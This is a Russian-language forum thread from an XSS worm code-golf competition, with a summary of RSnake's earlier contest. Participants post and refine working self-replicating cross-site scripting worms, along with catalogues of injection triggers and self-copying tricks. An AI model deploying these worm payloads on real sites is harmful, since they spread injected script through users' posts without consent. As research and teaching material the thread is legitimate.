![]() |
Malware 2.0 : XSS Worm Competition
Воистину , на javascript творят чудеса и даже любой деструктивный подход вроде xss червя является результатом множественных исследований . Нам надо всего лишь создать маленькое чудо , причем чем меньше тем лучше , которое отправит свой собственный код на скрипт . Учитываться также будет кроссбраузерность , думаю , таких браузеров как FireFox второй ветки и шестого IE будет достаточно для испытания . Для упрощения задачи сделал форму которая разместит на странице ваш скрипт и скрипт a.php который выведет то что на него послали посредством POST в переменной xss.Длину считать полностью , те допустим от тега <script до его закрывающего </script> , а не только содержимое.Пока что мой код умещается в 162 символа. |
162, фф
PHP код:
|
PHP код:
|
Я что то не понял куда и что выводит a.php. И потом ваши скрипты помоему не отправляют весь свой собственный код.
|
123, Opera & IE
PHP код:
оказывается, только javascript ну пусть остается пока.. |
1) 141, FF
два небольших креативчика и -21 PHP код:
A) 105, FF & IE 6.0 PHP код:
PHP код:
166, IE 6.0-7.0 PHP код:
|
Также хочется сказать о давно минувшем первом конкурсе...
Здесь можно почитать о нем более подробно: _http://habrahabr.ru/blogs/infosecurity/18906 Приведу оттуда условия, которым должен был соответствовать xss-червь: Цитата:
автор условий: RSnake Код червя победителя (161 байт): Код:
<form><input name="content"><img src="" onerror="with(parentNode)alert('XSS',submit(content.value='<form>'+innerHTML.slice(action=(method='post')+'.php',155)))">* их варианты отличаются друг от друга только порядком команд. Важные следствия из условий. 1. Код червя должен отвечать условиям при запуске как на странице, где нет вообще никакого иного кода, так и на странице, где иной код есть. 2. Принцип достаточной вероятности. Присваивая id, можно не задумываться о его уникальности. Между тем, наличие аналогичного id у тегов в оригинальном коде страницы могло бы сделать червя неработоспособным. Мы пренебрегаем этой вероятностью, учитывая, что на практике мы сможем соблюсти уникальность id. Принцип достаточной вероятности допускает перенебрежение особыми случаями расположения кода червя в оригинальном коде страницы. Например, есть вероятность, что код расположится в теге title (и тогда не сработает без доработки), но мы можем оставлять без внимания и эти ситуационные вероятности. 3. Размер считается не в символах, а в байтах, что имеет значение в условиях использования вышеуказанных кодировок. 4. Изменение размера кода при итерациях возможно в сторону уменьшения в случае пререхода от исполнения одим браузером к исполнению другим, при этом код должен быть готов к переходу на другой браузер в любой момент. Размер его, идущий в зачет, будет считаться в наиболее широком варианте. 5. Нельзя использовать знания о DOM-дереве, потому что невозможно предположить, где именно на странице будет расположен червь. Обращение к n-ному тегу допустимо только тогда, когда мы знаем, что именно n-ный элемент существует. 6. Код должен быть отослан в пост-параметре "content". При этом не имеет значения, отсылается ли что-либо в других параметрах, и существуют ли они. Прежде обобщим некоторую информацию I. Способы запуска, их размеры A) 26 Код:
<body onload=alert('XSS')>Код:
<body onfocus=alert('xss')>Код:
<iframe onload=alert('xss')>Код:
<script>alert('xss')</script>Код:
<marquee onstart=alert('xss')>Код:
<img onerror=alert('xss') src=>Код:
<input type=image onerror=alert('xss') src=>H) фокус на текстовом поле Код:
<input onfocus=alert('xss')>Код:
<input onblur=alert('xss')>Код:
<input onMouseMove=alert('xss')>II. Способы самокопирования * выдел подстроки с помощью match() 48 Код:
`<iframe onload="body.innerHTML.match(/`.+`/)">`Код:
`<img onerror="body.innerHTML.match(/`.+`/)" src="">`Код:
<body id="w" onload="w.parentNode.innerHTML.match(/<bo.+/)">Код:
<script id="s">s.parentNode.innerHTML.match(/<sc.+/)</script>Код:
<marquee onstart="this.parentNode.innerHTML.match(/<ma.{70}/)">Код:
`<input type="image" onerror="body.innerHTML.match(/`.+`/)" src="">`57 Код:
<b><img src="" onerror="parentNode.innerHTML.bold()"></b>Код:
<b><script id="s">s.parentNode.innerHTML.bold()</script></b>Код:
<b><iframe onload="parentNode.innerHTML.bold()"></iframe></b>Код:
<b><marquee onstart="this.parentNode.innerHTML.bold()"></marquee></b>* выдел подстроки с помощью slice() 59 Код:
<b><iframe onload="'<b>'+parentNode.innerHTML.slice(0,56)">Код:
<b><img onerror="parentNode.innerHTML.bold().slice(0,65)" src="">Код:
<b><script id="s">'<b>'+s.parentNode.innerHTML.slice(0,64)</script>Код:
<b><marquee onstart="this.parentNode.innerHTML.bold().slice(0,74)">62 Код:
<script id=s>'<script id=s>'+s.innerHTML+'<\/script>'</script>Ajax или Form? Ajax Этот способ позволяет уместить весь код в один тег. Давайте определим, на сколько с неизбежностью должен будет увеличиться код только при той идее, что мы будем использовать ajax. При этом мы абстрагируемся от способа запуска и способа самокопирования. 119 Код:
with(new XMLHttpRequest)open('POST','post.php'),setRequestHeader('content-type','multipart/form-data'),send('content=')Этот простой подсчет говорит об одном: ajax для целей создания меньшего червя, чем червь-победитель, не годится. Способы создания форм 1) Средствами DOM, как видно из вышеприведенных постов, большое количество символов уходит на создание и привязку элемента к дереву. Допустим, что мы имеем контекст document (это имеет место в случаях запуска C), F) и D) ) тогда средствами DOM код развернется следующим образом: 125 Код:
with(body.appendChild(createElement('form')))appendChild(createElement('input')).name='content',action=(method='post')+'.php'107 Код:
with(body.appendChild(createElement('form')))innerHTML='<input name=content>',action=(method='post')+'.php'Теперь, что из этого короче. а) Тег form со всеми атрибутами 27 Код:
method=post action=post.php31 Код:
method="post" action="post.php"б) Тег form с динамическим добавлением атрибутов вот так какие-либо преимущества отсутствуют 31 Код:
method='post',action='post.php'29 Код:
action=(method='post')+'.php'3) Добавление формы через innerHTML В этом случае, при котором мы используем innerHTML не для копирования в строку, а для добавления кода, мы сами можем определять форму представления этого кода. Например, Код:
innerHTML='<form action=post.php method=post>'27 Код:
method=post action=post.phpТеперь попробуем, используя эти предварительные подсчеты, создать минимального червя, отвечающего всем условиям. Во-первых, мы видели, что самым коротким способом запуска, при котором сохраняется контекст document, является способ С). Исходя из этого элементарного вывода мы уже можем сократить червя-победителя на 5 символов (байтов) 156 Код:
<form><input name="content"><iframe onload="alert('XSS');with(parentNode)submit(content.value='<form>'+innerHTML.slice(action=(method='post')+'.php',150))">Во-вторых, мы видели, что самым наилучшим способом самокопирования показал себя способ через match в совокупности с iframe, а способ создания формы - через динамическое добавление в innerHTML Делай раз! Вот червь, который уже превосходит даже усовершенствованного червя-победителя 155 Код:
`<iframe onload="with(body.innerHTML+='<form id=f method=post action=post.php><input name=content>')f.submit(f.content.value=match(/`.+`/));alert('xss')">`И 10 символов с червя-победителя долой. 151 Код:
`<iframe onload="with(body)innerHTML='<form action=post.php id=f method=post><textarea name=content>'+innerHTML.match(/`.+`/);f.submit(alert('xss'))">`149 Код:
`<iframe onload="body[i='innerHTML']='<form action=post.php id=f method=post><textarea name=content>'+body[i].match(/`.+`/);f.submit(alert('xss'))">`VI. Иные интересные варианты 1) spyware - 129 Doesn't work in Firefox 2.0.0.11 Код:
ý<FORM action=post.php method=post><INPUT onfocus="alert('xss');value=body.innerHTML.slice(/ý.*/);submit();" name=content></FORM>- увеличение при самокопировании:прикол с методом slice не работает, вследствие чего код имеет тенденцию к неограниченному увеличению - требует участия юзера в виде фокусировки на текстовом поле. глубокая мысль: из тега input можно обращаться и к нему самому, и сабмитить form непосредственно (двойной контекст). что можно сделать? 146 Код:
`<form><input type="image" src="" name="content" onerror="value=body.innerHTML.match(/`.+`/);alert('xss');submit(action=(method='post')+'.php')">`- используются ситуационные знания о месте расположения червя в DOM дереве. Дело в том, что этот червь будет работать только тогда, когда он расположен в body. Если код будет расположен в head, червь испортится. Причина тому - тег form в head. Посмотрите сами результат в IE: Код:
<html>155 Код:
<form>`<input type="image" src="" name="content" onerror="value='<form>'+body.innerHTML.match(/`.+`/);alert('xss');submit(action=(method='post')+'.php')">`2) sdc - 160 Works in FF with no growth but doesn't work in IE7.0 Код:
<form><INPUT name="content"><IMG src="" onerror="with(z=parentNode)submit(action=(method='post')+'.php',z[0].value='<form>'+innerHTML.slice(alert('XSS'),154))">ronald - 141 Doesn't work in Firefox 2.0.0.11 Код:
<form id=_><input name="content"><script>_[0].value='<form id=_>'+_.innerHTML+alert('XSS');_.action=(_.method='post')+'.php';_.submit()</script>154 Код:
<form id=f><input name="content"><iframe onload="alert('XSS');with(f)submit(f[0].value='<form id=f>'+innerHTML.slice(action=(method='post')+'.php',143))">153 Код:
<form><input id="i" name="content"><iframe onload="alert('XSS');with(i.form)submit(i.value='<form>'+innerHTML.slice(action=(method='post')+'.php',147))"> |
| Время: 01:50 |